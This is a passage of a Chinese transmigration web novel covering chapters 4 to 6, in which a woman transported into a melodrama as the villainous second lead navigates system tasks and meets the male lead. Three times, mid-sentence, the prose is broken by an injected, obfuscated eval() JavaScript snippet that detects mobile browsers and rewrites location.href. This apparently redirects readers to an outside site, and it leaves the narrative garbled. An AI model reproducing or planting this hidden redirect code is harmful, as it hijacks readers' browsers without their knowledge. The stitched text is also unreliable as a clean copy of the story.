绿娆点头,“不然呢?”
“那为什么楠雁会说,是你推我下去的。”
奚元和绿娆是好姐妹啊。
“你是真糊涂了,是你听到自己被选成领舞激动坏了,一个不小心摔下去的。”
“估计你也不记得了,你之前还让我把周颜骗到亭子里推下去呢。结果你自己掉下去了。”
“我就趴在上面问你咋样了,结果被楠雁看到了,当时亭子里就我一个人,就以为是我推的你。”
绿娆跳了几步,问:“想起来没?你今天一下午加一晚上都没理我,真是被男人迷了魂了,那卓殊有这么吸引人吗?”
奚元差不多想通了。
她是奚家的女儿,小说的恶毒女二。
一直作恶,一直不成功那种。
她在整本书中充当一个辅助的作用,永远绕着赵臣殊转,时不时给女主周颜使绊子,充当男女主感情的催化剂。
幸运的是,这个角色的床戏比周颜少,戏份难度也比周颜低。
奚元觉得自己赚大发了。
她握住绿娆的手,和她并肩走,“谢谢你刚刚帮我。”
绿娆戳她:“你这脑子啊,天天就知道男人。说,还敢不敢天天卓殊长,卓殊短。”
奚元嬉皮笑脸,“我的好姐妹绿娆天下第一,卓殊天下第二吧。”
虽然她还不认识卓殊,或者说是赵臣殊……
4. 第 4 章
叮咚!
脑海中,那声熟悉的金属系统音终于出现。
“宿主你好,恭喜您花了8个小时,终于清楚了自己的身份,已打败全球0.001%的穿书者。”
奚元:“……”
作为一个第四次参与任务的穿书者,她为自己感到羞耻。
“下面将进行任务介绍,您是奚家老三奚犇家的女儿,也是这本书中的恶毒女二。”
“终极任务:活到最后。”
“无论处于什么情况,都要记得珍惜生命。”
“下面发布新手任务,您的青梅竹马尹扶士马上就要来向你提亲了,快去愉快地接受吧~”
“任务完成奖励,赵臣殊的玉佩。”
“新手提示,穿书任务不走原剧情无惩罚;但为了避免蝴蝶效应,导致惨绝人寰的场面,系统这边还是建议宿主乖乖就范呢~”
赵臣殊的玉佩?
原著里并没有提到这个东西。
难道是多年前赵臣殊救奚元时,落下的定情信物吗?
系统给的肯定是好东西。
奚元和绿娆一起走出城门,往乡野走去。
她们的家在同一个村,花蕾村。
奚家是花蕾村的大户人家。
这个大,指的不是家产,而是人口数量。
奚家共有兄弟三个,奚牛,奚牪和奚犇。
奚牛有两个儿子,奚大,奚二。
奚牪有一个儿子,叫奚三。
奚犇只有一个女儿。
奚家自上上上辈起,就运气不好。
种小麦,发水灾淹了。
搬家后种水稻,那年干旱异常,水稻晒死了。
养鸡,突发鸡瘟。
养鸭,鸭子被洪水冲走。
……
就这么倒霉了几十年,现如今,奚家三兄弟一起蜗居在花蕾村,三户人家共用一间小院,靠打工为生,日子过得紧巴巴的。
创业是不可能再创业的。
绿娆出来的时候,拿到了城主家给的一吊银钱,顺带把奚元的份也带上了。
这一吊银钱对奚家而言,可是救命的。
奚元回家的时候,大伯父奚牛刚从外头打工回来。
他在附近一处鱼塘打工,老板压榨得紧,现在才放他回来。
奚牛手上拎着一条鱼尾巴,是收摊后他半价向老板买的。
远远看见奚元的身影,奚牛拎起鱼朝她挥手。
“元元回来啦!”
奚元手里拿着重重的一叠钱,看到远方拿着鱼的中年男人,猜测这是她的大伯父。
“大伯父!”
伯父杀了一天的鱼,身上都是鱼腥味。
奚元要和伯父一起进门,奚牛怕自己身上的鱼腥味熏到侄女,让奚元先进门,和她隔着一段距离走。
屋内,大伯母汪萍和二伯母徐容正在洗衣服,见奚元回来,她们擦干净手,笑盈盈地与她打招呼,“元元跳舞回来啦。”
奚牛带回来的鱼尾巴原本是打算明天中午炖汤吃的,大伯母一听奚元还没吃饭,心疼的不行,也不管明天还有没有饭吃,把鱼去了鳞片扔过里煮,大半夜烧火煮饭。
把隔壁李家的小孩都馋得趴在墙上偷看。
奚犇和姜晏,也就是奚元的父母,在较远处的皇家蔬菜园工作,一个月都不一定能回来一次。
奚元,相当于现代社会留守儿童。
幸好,他的两个伯父伯母都是纯良之人,对家中唯一的小侄女无比疼爱。
奚家总共有四间房,两对伯父母各一间,奚家三兄弟一间,奚元一间。
偶尔奚犇和姜晏回家的时候,会跟奚元一起挤挤。
喝了大伯母炖的鱼汤,奚元身子都变得暖洋洋的,简单洗漱后,回了自己的小房间。
原书中,奚元作为恶毒女配,干的坏事不算少,但奚家人一直都无比信任她,即使证据就摆在面前,也不信。
什么?你说我们家奚元勾引卓家公子?
胡说!我们家奚元小小一个,怎么可能学坏!
小说的最后,赵国大军攻破卫国,齐国百姓流离失所,奚家人也不知逃亡去了哪里。
赵臣殊厌倦了奚元,将她从回赵国的马车上扔下,生死不明。
至于他最爱的周颜,被他束缚起双手,绑在身边,一辈子都逃不掉了。
也不知道最后,周颜是真的喜欢上了霸道的赵臣殊,还是一直都在默默忍受。
一本书里,只要出现了一个死变态,整本书的剧情都会癫起来。
奚元叹了口气,古早狗血文真累人啊。
【请宿主不要辱骂本书男主】
系统出声提醒。
好久不见的系统久违地主动发出声音。
【同时,恭喜宿主成功存活10小时,激活金手指】
奚元激动地握住桌上的茶盏。
“快说。”
有了超能力,她就可以脱离万物法则,更轻松地完成任务。
【特殊能力:让任意人物回到老家】
【冷冻时间:15天】
奚元:“……”
听着怎么这么没用呢。
【随着宿主任务完成进度的增加,您的超能力也会得到提升,作用对象的数量会增加,冷冻时间将缩短】
听着依旧没什么用。
她没事干嘛要送人回老家。
月上林梢,她有了些困意,悄然入梦。
-
素园。
冽风依旧在卓家院子外头盯梢,凛风一人坐在屋檐上值班看星星。
万罗潇一人独坐于庭院,一席蓝衣,独自喝茶,不问世事。
短墙外,几个放学孩童路过,都是四五岁的样子。
一人言:“当今朝堂,皇上年幼,定少不了太后的操持。”
另一人言:“太后住在后宫,怎么可能干涉朝政,一定是丞相大人辅佐圣上,每日批奏折,安民生。”
“那还有幽王殿下,手握兵权,乃先皇念在新帝年幼,遗诏中特封的摄政王,位在丞相之上。”
又一孩童说:“我听我爹爹说,这幽王是个外姓王,是和昭公主,也就是先帝妹妹的孩子,先皇在的时候,对自己的妹妹百般偏爱,连妹妹的孩子都破例封王。只可惜,先皇已去,和昭公主被惹了当今太后被禁了足,只能每日待在自己的长公主府,连幽王也称病不理朝政,眼瞧着,这幽王殿下虽手握兵权,但背无靠山,往后风光不再啊。”
一墙之隔,万罗潇把玩手中玉盏,浓茶滚烫,他却熟视无睹。
他另一只手拿起石桌上的一根细针,只朝那矮墙看了一眼,两指交错间,细针从半开的窗户中飞过,略过一群叽叽喳喳的孩童,扎在一旁的树上。
忽然间,树被振动几下,甩下积攒的露水,淋了那几个孩子一头。
“啊——我娘昨天刚帮我洗的裤子——”一个孩子哇哇叫。
隔壁私塾的门吱呀一声打开,留着白胡子的教书先生看起来已年近半百,一瘸一拐地拿着戒尺要抽那几个孩子。
“放学不回家!竟敢在路上妄议朝政,嫌脑袋跟脖子贴太紧了是吧?”
接着,拿起戒尺就往孩子屁股上抽。
外头乱了好久,万罗潇津津有味地听墙角,喝完了一壶茶。
小孩子们的裤子刚淋了露水,又挨一顿抽,个个捂着屁股老实得不得了。
教书先生凶他们,“还敢不敢妄议贵人?”
小孩子们瑟瑟发抖,赶紧摇头。
教书先生抽累了,坐在地上,感慨:“今我卫国鸿运傍身,定可昌盛千年。”
万罗潇一声嗤笑,起身离开庭院,自言自语:“三年,卫国必败。”
当今卫国瘟疫四起,百姓流离失所,连吃饱都是奢望。
皇室奢靡无度,重文臣,轻武将,文字狱横行。
即便如此,百姓依旧将希望放在那个两岁的皇帝和大字不识的太后身上。
可笑极了。
万罗潇看笑话似的又朝窗外弹了一根银针,又精准地插在树上,落下一大滩露水,给那老东西也洗个头。
重点是洗洗脑子。
-
卓园内,小乞丐哆哆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439085|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嗦嗦地跪在院子里,汇报得到的情报。
“殿下,查清楚了,撞到我的人是花蕾村奚家的小姐,叫奚元,那日去城主府献舞,昨晚幽王突然出现在城主府,把她带走了。”
赵臣殊斜撑着下巴,“哦?是万罗潇的人?”
万罗潇,他不待在京城,来西城捣什么乱。
奚元……
明日去会会这个姑娘。
起越自门外进来,通报:“殿下,一个姑娘送来一张纸条,让我交给您。”
林洛洲原本在一旁椅子上打瞌睡,闻言立马清醒,眼冒精光。
“什么什么,什么姑娘,你又去哪儿惹的桃花债?”
赵臣殊不言,接过纸条。
纸上写着:
命缘无数,此生安好。
清秀的字迹,看着柔弱,是位弱柳扶风的小姐。
这纸上写的倒像是诀别,可惜赵臣殊虽然老婆多,但从未与人有过海誓山盟。
“大约是卓殊这个身份的故人吧,”赵臣殊满不在乎地说,将那一张信纸扔进纸篓。
卓家院外,一位娇小的姑娘正在夜色中惶惶疾步。
一旁,楠雁扶着她,说:“你白日里才风寒晕倒,晚上还非要出来送信,你和这院子里的郎君是什么关系?”
她与周颜是多年姐妹,未曾听闻周颜与卓家公子有过交集。
而且……周颜看起来很不对劲。
周颜脸色苍白,识海中,她的系统在不停给她弹警报,仿佛一个短路的喇叭,嗡嗡响个不停,快要炸了。
她只是二十一世纪的一个普通人,为什么会突然穿书?
穿书系统绑定宿主完全随机,而且有的有预告,有的是直接被送到穿书世界。
对有预告的人而言,他们可以花钱消灾,让穿书研究所的专业人士替他们穿书。
而她,是个倒霉的。
前一秒还在自家的浴缸里美美泡澡,下一秒就被传送到了这本古早虐文,成了要被虐心又虐身的女主。
她脑子中绑定的系统叫个不停。
【请宿主停止对剧情的破坏,更改剧情可能导致世界崩塌】
她才不管这些,反正,让她去跟一个素不相识的男的去上床,她做不到。
自从穿越到这儿的那天开始,她就一步都没有走剧情,她害怕遇到那个叫赵臣殊的人,害怕被他囚禁,被他凌辱。
她称病回家,躲过了今晚城主家的宴席,本以为可以高枕无忧,哪知楠雁回去后去周家探病,告诉她今晚赵臣殊并没有出席宴会。
她慌了神,害怕招惹那个阴晴不定、手段狠毒的男主,思来想去,还是直接与他一刀两断来得好。
命缘无数,此生安好。
不管原本的剧情是怎样的,她只想安安稳稳地过日子,不想当虐文女主。
周颜握住了楠雁的手,说:“没事了,我和他没有任何关系,我们回去吧。”
耳畔的系统依旧在发出刺耳的警告,提醒着她,她与这周围的人不一样。
【警告:宿主擅自修改剧情,已导致部分剧情混乱,请宿主早日从良,莫要捣乱】
【您的新手任务,与赵臣殊相识并完成第一场play剧情尚未完成,请宿主再接再厉】
【任务失败,将自动触发惩罚,您的父亲周祁会因治理河道不得力而被官府关押】
周颜皱眉,她不愿自己的清白被玷污,不愿在这儿演这些弱智戏码。
周祁?那个现在她名义上的父亲,她才不会为了个陌生人而献祭自己。
只要活到结局,她就可以回到现实世界。
书里其他人的命运,通通与她无关。
【提醒:本人为多人穿书副本,除您之外,已有其他穿书人到达此副本,你们任务的完成情况将互相影响】
周颜握住了楠雁的手,握得很紧,将楠雁的手都捏得疼了。
“周颜,你怎么了?”
周颜淡淡地笑了,松开不知不觉间收紧的手。
“没事,我们回去吧。”
万般皆是命,而她,只会为了自己而活。
5. 第 5 章
翌日。
阳光普照,花蕾村鸟语花香。
奚元坐在院内的躺椅上晒太阳,大伯母正在屋里旁边的小屋内做饭,二伯母和两个堂哥今天去附近的喜宴上当帮工,赚些快钱。
大伯父和二伯父都出去上班了。
家里只剩下大伯母汪萍和奚元两个人。
暖洋洋的日光照在奚元的脸上,暖烘烘的。
刚才,奚元想去给大伯母打下手,结果被大伯母赶出厨房。
大伯母说厨房太小,塞不下两个人,让奚元赶紧出去晒晒太阳。
奚元躺着晒日光浴,强忍着睡意,开始梳理书中的人物关系。
书中,奚家从头到尾都过得很惨,吃不饱穿不暖,运气一直不好。
而奚元,在遇见赵臣殊后,心思全放在勾引赵臣殊上,每天绕着赵臣殊转,不再过问奚家情况。
章媛媛不是个感情丰富的人,对这本书中的家人暂时没什么特殊的感情。
修改剧情会遭报应,这是职业穿书人上的第一课。
如果善意有可能会给自己和他人的生活带来毁灭性的伤害,那这种善意还是早日丢弃为好。
厨房传来阵阵香味,是大伯母做的韭黄炒鸡蛋,放了些猪油,鲜香扑鼻。
奚元的肚子叫了一声。
她今日起晚了,没吃早饭,睡到日上三竿才起床,现在肚子空空。
好饿。
明目张胆地给奚家帮忙大约是不可行的,那若是悄悄给奚家塞些银两,装作意外之财,做好事不留名呢?
其实,虽说小说的剧情最好别动,但这儿说的不能动的只是小说中详细描述的主线,比如奚元对赵臣殊的舔狗行为,赵臣殊对周颜的强制爱,这种重要情节牵一发而动全身。
但一些细枝末节的东西,比如奚元今天到底是吃韭黄炒鸡蛋,还是吃鱼,这些书中原本的留白部分可以随意发挥。
书中,奚家的出场很少,他们只是不起眼的小配角,所有主线剧情都和奚家的贫富情况没有关系。
如果可以帮他们改善下生活条件,也是一桩好事。
奚元闭上眼睛,回忆书中主线。
三年后,卫国兵败,赵国率兵吞噬整个卫国。
卫国虽明面上国土面积和士兵数量都强于赵国,却实际上外强中干,已是强弩之末。
卫国皇室奢靡无度,先皇本有九子,却各个惨死,只剩下一个尚在襁褓之中的小皇子。
兵国大任,实际上掌握在幽王万罗潇手中。
就是昨晚那个将她带走的男人。
书中,万罗潇是先帝妹妹的孩子,因先帝宠爱妹妹而将他封了王。
原著中,万罗潇一直在与赵臣殊斗智斗勇,兵刃相向,给本文男主万罗潇使了不少绊子。书中,对万罗潇的描写不少,他应该算是本书的男二。但这个人没有感情线,全篇都是搞事业,堪称事业狂魔。
昨晚,万罗潇竟然抱着她走了一路,还与她共处一室。
想来,有些ooc了。
按照原著中的描述,这万罗潇应该是个无情无爱,甚至表情都没多少的高冷王爷。
先不管这个无足轻重的男二,毕竟按照原著的剧情,奚元与他不会有太多交集。
最重要的,还是男主赵臣殊。
按原著剧情,三日后,赵臣殊与侍卫起越于西街茶楼会见卫国密探,奚元碰巧出现,认出了曾经的恩人,并碰巧替他挡了一箭,被赵臣殊带回府疗养。
从此,一发不可收拾。
奚元看了看奚家这个温馨的小破房子,还未离开就开始怀念。
大伯母盛了饭,放在桌上,喊道:“元元,来吃饭!”
奚元应了一声,从躺椅上翻身下去。
两个人边吃饭,大伯母边和她讲最近的八卦。
“那个河官周祁你还有印象不,那个天天钓鱼的清闲官,”大伯母问。
周祁?那不是女主的父亲吗?
奚元点点头,示意大伯母继续说。
“我听隔壁王婶说,今天官府里忽然来了人,把周家团团围住,说他当官懒于行政,一事无成,上头要杀鸡儆猴,把他逮了。”
奚元闻言,饭都忘了嚼。
这剧情怎么崩坏成这样了?
原著里没有这一出啊!
大伯母叹了口气,感慨道:“这周祁当清闲官也不是一日两日了,偏偏今天被抓,估计是得罪了什么人,才随便找了个由头,捉了起来。”
奚元闻言,点点头。
她暂时还没有见到本书的男主赵臣殊和女主周颜,不知道他俩之间的感情进展咋样了。
昨日,周颜忽染风寒,赵臣殊缺席宴会。
剧情发生的变动太大,不知道他俩的感情线有没有如期开始。
今天,周祁又忽然被捕,感觉这剧情的漏洞正在变得越来越大。
这个世,除了她,一定还有别的穿越者。
并且,穿越的时间应该在她之前。
她推测这个人应该是周颜。
那她为什么要这么做?难道是她的系统给她布置的任务吗?
一般只有系统布置的任务与原剧情不同的时候,穿书人才会主动改变剧情走向。
无论如何,她都得跟周颜见一面,探探口风。
奚元问大伯母:“那周家住在哪儿?我下午也想去看热闹。”
凑热闹是人的天性,大伯母敲了敲她的头,“你啊……周家就住在西门……”
话音未落,忽闻墙外传来两声叩门声。
二人对视一眼,都不知道是谁。
大伯母出去开了门,屋檐下,站着个粉面郎君。
那小生穿着新衣裳,戴着高帽,眼神中带着稚气,含羞道:“伯母,我今日来,是向奚元提亲的。”
他侧开神,只见他的身后,几个轿夫挑着五箱聘礼,穿着大红的衣裳,好不喜庆。
看热闹的邻里已经站满了街道。
大伯母尴尬片刻,问:“你是?”
那小生拱手,正式打招呼:“我是尹扶士,爱慕奚小姐多年,特来求娶。”
尹扶士是尹家的独子,他的父亲是乡里有名的教书先生,他还在努力苦学等待考取功名。
小时,尹扶士和奚元曾一起在河边玩耍,但孩童时记忆二人都记不太清了。
更清晰的是,五年前,与奚元在元宵花市遥遥相望,只此一眼,他的心中就再也容不下他人。
他原本想等自己考取功名后再来求娶心爱之人。
但昨日……
不知为何,浑身发痒,若是再不上门提亲,他好像就要被这燥热吞噬。
他爹娘以为他得了什么怪病,连夜叫郎中前来问诊,灌了几袋汤药也不见好。
直到……
尹扶士顺应了自己的心意,说,明日就要去奚家提亲,这怪病自己就好了。
尹父尹母从未听说过儿子心有所属,但为了儿子的健
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439086|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
康问题,还是麻利地收拾出了聘礼,请了轿夫,一刻不敢耽搁,就往奚家去了。
尹扶士自己也说不明白,明明这婚姻之事不可儿戏,真心相爱的话,需要慢慢彼此了解。
但他的身体告诉他,若是今日不来下聘礼,他就会一病不起。
真是件怪事。
或许,这就是爱到身体都起了反应吧。
但他对奚元,真的已经爱到这种程度了吗?
只是多年前的一眼,就让他情难自禁。
奚元吃下碗里最后一口饭,听到门外的喧闹声,站了起来,往门口走去。
大伯母正在问尹扶士,“可我从未见过你。”
尹扶士见围观的人有些多,也有些不好意思,“其实我也是第一次见您。”
“你是怎么知道我们奚家的地址的?”
“昨晚打听的。”
“你和奚元见过几面?”
“五年前见过一面。”
“……”
大伯母的脸色有些难看,这男子看着像个读书人,怎么做事如此不知礼数。
堂而皇之,就把聘礼带来了。
明显,他和元元都不熟。
大伯母随便找了个理由拒绝,她说:“这位公子,婚姻之事,媒妁之言,今日我们家元元的父母都不在家,您还是先回去吧,择日再来。”
说着,大伯母就要把门关上。
“慢着!”
门两侧,两个声音响起。
是奚元和尹扶士。
脑海中的系统出声。
【叮咚!您的新手任务已开始,请接受尹扶士的求亲,奖励:赵臣殊的玉佩】
一切都是为了任务。
奚元拉开门,说:“我愿意嫁给你。”
尹扶士面色泛红,不可置信地睁大双眼。
他竟然,成功娶到了自己心爱的女孩!
如此顺利,如此丝滑。
大伯母摸了摸奚元的额头。
没发烧啊,怎么还净说胡话。
“元元,你和他都不熟。”
奚元点点头,“对,就刚刚一见如故。”
“元元,婚姻不可以这么随便的。”
大伯母皱眉。
【叮咚,您的新手任务已完成,赵臣殊的玉佩已送到您的袖口】
奚元感受到袖子一重,里面多了一块冰冰凉凉的硬物。
虽不知道这玉佩有什么用,但系统给的,总归是好东西。
屋外传来铁靴的脚步声,那玉面郎君尹扶士被一人一腿踹在地上。
来人一席黑衣,噙着不可一世的笑,一只脚踩在尹扶士的屁股上碾压。
他看向屋内的奚元,明知故问:“你就是奚元?”
接着,他一脚将摔在地上的尹扶士踢走。
大跨步走上奚家的台阶。
就是这个女人,打翻了他让人从赵国运来的稀品毒药。
他憎恶地看着奚元,背后跟着起越喝几个穿着粗布麻衣的打手。
“给我搜。”
这个女人,一定是万罗潇的人。
奚元不知道面前的男人唱的是哪一出,但看到这人头顶上耀眼的主角光环,她知道,这就是本文的男主了。
虽然不知道为什么相遇的剧情会提前上演,但既来之则安之。
她扑通一声跪在地上,拉住了赵臣殊的裤腿。
“卓公子!真的是你!元元等你等的心都快碎了!”
6. 第 6 章
被控住腿脚的男人一僵。
他使劲一蹬腿,竟然没有把人丢出去。
这女人,怎么这么大的力气。
跟狗皮膏药似的。
奚元紧紧抱住赵臣殊的大腿,哭得撕心裂肺。
“卓郎,我等你等的好苦啊!”
“卓郎,你还记得我吗?我是你的元元啊!”
奚元饱含感情地念台词。
赵臣殊皱眉,仔细端详了下膝下狗皮膏药的脸。
很陌生,没见过。
“十年前,我娘和我途经北塞,遇劫匪抢劫,是你救了我,你说你姓卓,是卓家的公子。”
赵臣殊皱眉,北塞,好像是有那么一回事。
那时,他刚满十岁,跟着赵国的暗线第一次进入卫国。
卫国富饶,边境都可以长出各种各样的庄稼。
而赵国,一大半都是黄沙大漠。
他第一次见到雨林,见到细密的树叶遮天蔽日。
也在那里,突发善心,救过一对母女。
之后的那几天,他都在后悔,早就被狗吃了的良心怎么会突然长回来。
赵臣殊低下头,用力扯开了奚元的胳膊。
奚元一个没蹲稳,摔在地上。
“卓郎——”
奚元撑着地,楚楚可怜,耳鬓碎发低垂,欲说还休。
赵臣殊拍了拍裤腿,声音没什么起伏地说:“我何时救过你?我怎么不记得了?你不会是要跟我演以身相许的戏码吧?”
奚元瞪大双眼,“你怎么知道?”
她笑了起来,“我就知道,我与卓郎心意想通,很有缘分的。”
赵臣殊:“……放肆。”
他倒是没忘记来这儿的正经事。
这个女人,不管现在在他面前是如何的花言巧语,按照暗线探查的消息,她昨日与幽王在一起,她或许是幽王的人。
赵臣殊朝身后的人一挥手,“给我搜。”
奚元立马爬起来伸手拦下。
搞什么?
把奚家搞乱了的话,她的伯父伯母们还得收拾,多扰人清净。
她已熟读这本黄书,无论过程多么曲折,最后的结果都是赵臣殊把奚元带走囚禁。
“卓郎,我家家徒四壁,耐不住翻啊!”
“我家的墙都是泥砌的,扬起的尘土会熏到各位的!”
“我家没有别的宝贝,只有我一颗掌上明珠,真的!”
“卓郎,你对我可有意思?”
赵臣殊觉得这女子属实聒噪,问她:“你的意思是你心悦于我?”
奚元点点头,娇羞地笑了。
赵臣殊指着门外趴在墙头偷看战况的尹扶士,问:“我来时可都听见了,你刚答应了他的求亲,怎么现在反倒说心悦于我。”
奚元上前一步,抓住赵臣殊的手。
赵臣殊立马甩开,奚元又眼疾手快地再次抓住,跟抓泥鳅似的。
“爱有轻重缓急,人有先后顺序。在与卓郎你重逢之前,我以为尹少爷便可以是一生可托付之人。但是下一秒,我遇见了你。我决定,还是先爱你。”
“卓郎,爱上你,是我的命中注定。”
赵臣殊:“……”
起越已经将卓家里里外外搜罗一遍,除了所剩无几的大米和几只耗子,什么都没有。
起越向赵臣殊摇摇头。
没有找到任何有价值的东西。
赵臣殊勾起唇角,这女人如此能言善辩,定不可能出自这个贫寒之家。
这个女人,有鬼。
赵臣殊伸出手,悠悠地抓住了奚元的手腕。
“这么喜欢我啊,那我就满足你的愿望,把你带回去吧。”
大伯母闻言要来阻止,奚元朝她做了个眼色,示意她不好说话。
“太好了,我愿意和府中的姐妹和谐共处,”奚元欢快地表忠诚。
赵臣殊一皱眉,眉头下压,周遭瞬间变成低压。
“姐妹?”
赵臣殊在赵国妻妾成群,这事不假,但现在他用的是卓殊的名字,与那一堆风流债划清了界限。
起越握住了腰间挂着的剑柄。
奚元瞬间察觉到不对劲,她无辜地眨眨眼问:“没有姐妹吗?”
赵臣殊淡淡地看着她,不说话。
奚元突然兴奋地拍手,原地蹦了两下,自言自语:“太好了,我现在是卓少唯一的女人!”
赵臣殊:“……”
不与这个疯女人理论,赵臣殊拽住奚元的胳膊,将她束缚在怀中。
“这么喜欢我,那现在就跟我走吧。”
接着,搂着奚元的胳膊,将她带出门。
奚元用脚尖勾住旁边的台阶,“不是……是不是有些太仓促了。”
她还没跟大伯母、二伯母、大伯父、二伯父,还有她爸妈告别呢。
她甚至还没带衣服。
知道这个赵臣殊行事果断,但这也太武断了。
“怎么,不愿意了?我瞧你刚刚恨嫁得很,难道是做戏诓我的?”赵臣殊用手掌托住奚元的后脑勺,迫使她抬头与自己对视。
他的一双眼眸晦暗,藏着让人看不懂的情绪。
奚元自然不可能承认自己所做的一切都是在演戏。
她收回了勾住台阶的脚,咧嘴朝赵臣殊笑了笑,“我就是太激动了,我们走吧。”
大伯母追了上去,凑到奚元的耳边说悄悄话,“退烧了就赶紧回来。”
这孩子今天突然是怎么了,跟癔症发作似的。
大伯母担忧地看着奚元。
踏出奚家大门的那一刻,她还没忘记自己的另一桩婚约。
她很抱歉地对尹扶士说:“抱歉,我找到了跟喜欢的人,我们刚刚的口头约定不算术了啊!改日我再补偿你。”
……
一对车马就在奚家的附近候着,是赵臣殊带来的。
旁边候着的小厮,各个儿用粗布巾裹着额头,看起来像山间劫匪。
奚元见了,哇了一声。
赵臣殊皱眉。
“你乱哇什么?”
奚元:“你的下属长得都好邪恶,真气派。”
邪恶?
赵臣殊扫视了一下自己的亲兵侍卫,一半以上脸上都带着刀疤,这是战士光荣的勋章。
这个女人竟然说他们邪恶?
真没品位。
马车只有一辆,赵臣殊先行上车,奚元撩起裙子,也要上车,却被旁边的起越拦了下来。
“这是我们少爷的马车,”起越说,“闲杂人等不得上去。”
奚元叉着腰,气极反笑,“我不能上去?”
起越坚毅地点头。
少爷的马车,连林洛洲都坐不得,跟别说面前这个身份不明的女人了。
“可是卓少刚说了,我已经是他的女人了。”
坐下马车而已,别那么小气嘛。
鬼知道那卓府离这儿有多远,若是自己走过去,那不得把腿脚都累麻了。
起越依旧保持那个人机样,只会重复那句台词。
“这是少爷的马车,闲杂人等不能上去。”
奚元:“……”
“起越。”
马车内,传来赵臣殊的声音。
他伸手抵开车窗,说:“让她上来。”
奚元仰头朝起越看了一眼,满是炫耀,尽显恶毒女配嚣张气焰。
看吧,你主子心里有我。
起越依旧像个淡淡的人机,听到赵臣殊的命令,便让开了身子,让奚元上马车。
奚元掀开马车前面的卷帘。
赵臣殊坐在马车的最里面,正用一种玩味的目光看向她。
奚元弯腰走进去,坐在他的身旁。
就在这时,系统发布了第二个任务。
【新手任务已结束,下面将发布第一个正式任务】
【卓府内,共有18间屋子,请用尽手段,让赵臣殊把更大的卧室送给你】
【卧室越大,得到的奖励越丰富】
奚元在脑海中与系统对话。
她问:这个十八间屋子,包括赵臣殊自己的吗?
【当然,现在,赵臣殊住着卓府内最大的屋子】
意思就是,她要用尽手段,拿到卓府第二大的屋子。
【系统任务清算时间为五日后的午夜十二点】
【请宿主在那日,待在自己的房间,进行任务清算】
奚元思索着,昨日周颜没有去宴会,赵臣殊也没有去,不知道两个人有没有完成初见。
若是现在周颜也在卓府,自己抢到大房间的概率要大打折扣。
毕竟,自己的设定仅是赵臣殊无聊时的玩物,周颜才是赵臣殊的真爱。
正想得出神,忽有一双手附上她的额头。
奚元一抬头,与赵臣殊的视线相撞。
赵臣殊问:“你在想什么?”
这么专注。
奚元笑了下,转头看窗外的风景,不愧是本书的男主,主角光环太过刺眼,闪得她眼瞎。
“我正在想,明日去哪儿烧香,能与卓少重逢,还能和卓少住在一起,这是元元做梦都不敢想的事情。”
奚元的彩虹屁张口就来。
“元元?你的小名?”赵臣殊重复,记住了这个名字。
帘的马儿忽然受惊,疾驰的马车忽然停下,奚元差点没坐稳,要被颠出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439087|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,情急之下拉住了赵臣殊的衣袖,才堪堪稳住身形。
车外,是喧嚣闹市。
周祁被抓,周颜和小姐妹楠雁来集市上买些零碎物品,准备下午去大理寺探监。
忽然一阵妖风袭来,她们一个没站稳,被吹倒在地,挡住了这辆疾行的马车。
周颜的脑海中出现系统的最后通缉。
【宿主,由于您没有按时完成与本书男主的初遇,现已强制开启相遇支线】
【本文男主此刻就在马车中,请您完成与他的初见】
【请宿主放心,您与男主的缘分是命中注定,只需要一眼,他就会无法自拔地爱上你】
周颜咬着唇,在楠雁的搀扶下站起来。
今日上午,官兵闯进她家,带走了她的父亲周祁。
这就是系统对她不走剧情,给出的惩罚。
为何……
这个鬼系统要步步紧逼。
明明,她是一个穿越者,一个有着二十一世纪先进思想的新时代青年,凭什么要受限于这个鬼系统,像个傀儡一样任人摆布。
即便是死,她都不会去走这个智障剧情。
她拉住楠雁的手,两个人退到了路边,向赶车的起越道了歉,让他们的马受惊了。
起越没什么表情,既然路已经清了,那继续回府就好。
赵臣殊常年在军营打仗,刚刚马儿颠的那一下不算重,对赵臣殊而言毫无攻击力。
至于车内的另一个人……
起越才不管,颠成肉糊糊也与他无关。
起越牵起缰绳,准备继续赶路。
路边的周颜也低着头,努力降低自己的存在感,不想与男主见面。
就在这时。
马车内传来一个女声。
“慢着。”
是奚元。
就在刚刚,她眼疾手快抓住了赵臣殊的衣袖,才能勉强没被冲击力撞到地板上。
幸运又不幸的是,她摔坐到了赵臣殊的怀里。
一屁股坐到了赵臣殊的大腿上。
奚元虽然轻,但猛的这么一坐,就仿佛一颗鸡蛋从十楼自由下坠,还是很有攻击力的。
赵臣殊硬是一声没吭,只在奚元坐稳后笑了一声,不知在想些什么。
【叮咚!】
